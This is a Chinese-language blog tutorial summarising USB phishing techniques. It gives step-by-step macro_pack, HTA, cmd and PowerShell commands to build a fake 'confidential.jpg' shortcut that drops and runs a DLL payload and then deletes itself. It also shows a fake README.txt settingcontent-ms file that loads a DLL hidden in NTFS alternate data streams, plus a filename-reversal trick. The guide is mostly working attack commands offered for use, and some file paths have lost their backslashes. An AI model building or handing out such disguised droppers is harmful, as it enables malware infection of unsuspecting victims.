USB钓鱼几种方式总结。
- 2020 年 3 月 6 日
- 筆記

方式一:引诱目标点开“美图”
当目标点开美图(恶意LNK快捷方式文件:confidential.jpg.lnk),使目标认为他正在打开图像(confidential.jpg),HTA dropper 隐藏在快捷方式文件中。LNK将执行HTA,HTA将依次执行并删除的DLL payload,并且用诱饵图片替换快捷方式(confidential.jpg)。过程如下:

利用过程如下:
1.MSF生成dll payload,这里用TheFatRat快速生成:

2.用macro_pack生成一个经过混淆的HTA payload,他将会执行并删除dll
echo DllMain | macro_pack.exe –template=EMBED_DLL –embed=dll_payload.dll –obfuscate -G payload.hta
EMBED_DLL模板将创建一个VB代码,该代码将加载并删除“-embed”指定的文件,并用rundll32加载;-G是指生成hta文件

3.同样用macro_pack生成另外一个经过混淆的HTA payload,他将完成替换删除.lnk的功能。当我们将其放置于恶意LNK在同一文件夹下。运行后将替换.lnk,释放“美图”
echo "wuyifan.jpg" | macro_pack.exe -t EMBED_EXE –embed=wuyifan.jpg -o -G pic.hta

如果你此时双击pic.hta,会生成wuyifan.jpg,但是此时pic.hta没有自删除
4.整合上述的两步形成一个自删除的HTA文件:打开pic.hta将AutoOpen函数名修改为AutoOpen2

删除payload.hta的vb代码的后两行(AutoOpen和Close),将pic.hta中的vb代码(除了最后两行AutoOpen和Close)复制到payload.hta的vb脚本末尾,后并添加以下代码:
AutoOpen2 AutoOpen Set objFSO = CreateObject( "Scripting.FileSystemObject" ) Set WshShell = CreateObject("WScript.Shell") objFSO.DeleteFile window.document.location.pathname Close
现在运行payload.hta将运行dll,生成wuyifan.jpg并自删除
5.将payload.hta嵌入到.lnk文件中,我们希望它能用mshta.exe来解析从而触发payload,如运行一下命令:
%windir%system32cmd.exe /c start "" "mshta" "%CD%confidential.jpg.lnk"
当payload构成放在USB中,我们需要知道当前路径,%cd%将提供当前的路径名称

使用macro_pack生成lnk,这里U盘的盘符为”F:”,运行一下命令生成lnk:
macro_pack.exe -G G:confidential.jpg.lnk
* 当提示输入”Shortcut_Target”时输入我们需要打开link运行的命令:
%windir%system32cmd.exe /c start "" "mshta" "%CD%wuyifan.jpg.lnk"
* 当提示输入”Shortcut_Icon”时输入:
%windir%system32imageres.dll,67
这里主要是为了保证lnk的图标为JPG图像的图标,和imageres.dll中67位索引相对应

6.将.lnk和payload.hta合并到一起就OK了,运行:
copy /b F:wuyifan.jpg.lnk+payload.hta F:wuyifan.jpg.lnk

运行效果见:USB_lnk.gif
说明:
当在USB中双击wuyifan.jpg.lnk,会触发payload,加载DLL并隐藏到%TEMP%Document1.asd中,加载payload的方式为:
CreateObject("WScript.Shell").Run "%windir%system32rundll32.exe %temp%Document1.asd,<<<DLL_FUNCTION>>>", 0
在任务管理器中会发现图片正使用taskmgr或者Sysinternals procexp运行,并且lnk文件被真实的图片替换,实例中USB文件运行的命令容易被杀软识别出来
方式二:针对”README.txt”文件
当目标打开README.txt时,实际上运行的是恶意的settingcontent-ms文件,文件结构准遵循XML模式,不能像上述方法与hta文件组合。我们将使用NTFS备用数据流来隐藏和运行dll payload

此settingcontent-ms文件将执行隐藏在备份数据流(README.txt.settingcontent-ms:R)中的DLL,并将以记事本运行存储在另一个ADS中的诱饵文本(README.txt.settingcontent-ms:T.txt),相比第一种方式它没有想.lnk或者.uri那样的快捷箭头
利用过程如下:
1.构建诱饵文本文件,当目标打开时显示文本
echo "Hello World!" > Text.txt
2. 构建恶意设置的快捷方式文件。使用macro_pack生成settingcontent-ms文件,例如要生成一个README.txt文档,该文档的启动运行calc.exe
echo 'C:windowssystem32cmd.exe /c calc.exe' '.' | macro_pack.exe -G README.txt.settingcontent-ms
但是我们真正要启动的是隐藏在NTFS文件系统备份数据流中的DLL payload和诱饵文件。这里有个问题是setcontent-ms文件默认在“C:WindowsSystem32”中打开,这样我们必须知道USB的盘符,为此使用Powershell的脚本如下:
%windir%system32cmd.exe /c powershell.exe $drive=(Get-WmiObject Win32_Volume -Filter "DriveType='2'").Name;Start-Process "notepad.exe" "$driveREADME.txt.settingcontent-ms:T.txt"; Start-Process "control.exe" "$driveREADME.txt.settingcontent-ms:R"
上述命令将调用wmi将盘符赋值给$drive变量;启动记事本打开诱惑文档README.txt.settingcontent-ms:T.txt;启动control.exe打开README.txt.settingcontent-ms:R中的DLL payload,其中DLL也可以同rundll32加载。将上述命令替换刚才生成calc命令,最终的README.txt.settingcontent-ms文件如下:

3. 创建备用数据流。去报USB已经使用NTFS文件系统格式化,当前USB的盘符为“F:”,创建ADS,README.txt.settingcontent-ms:R 包含DLL:
type dll_payload.dll > F:README.txt.settingcontent-ms:R
READNE.txt.settingcontent-ms:T.txt 包含诱饵文本:
type Text.txt > F:README.txt.settingcontent-ms:T.txt
使用streams命令可以检查创建的ADS流

PS:使用macro_pack生成RTLO翻转运行calc的hta文件,运行:
echo calc.exe | macro_pack.exe -t CMD -G calc.hta –unicode-rtlo=jpg
生成的文件名为calcath.jpg,实际上是calc[rtlo]gpj.hta,此方法也适用于其他操作系统,但是打开运行的程序可能不同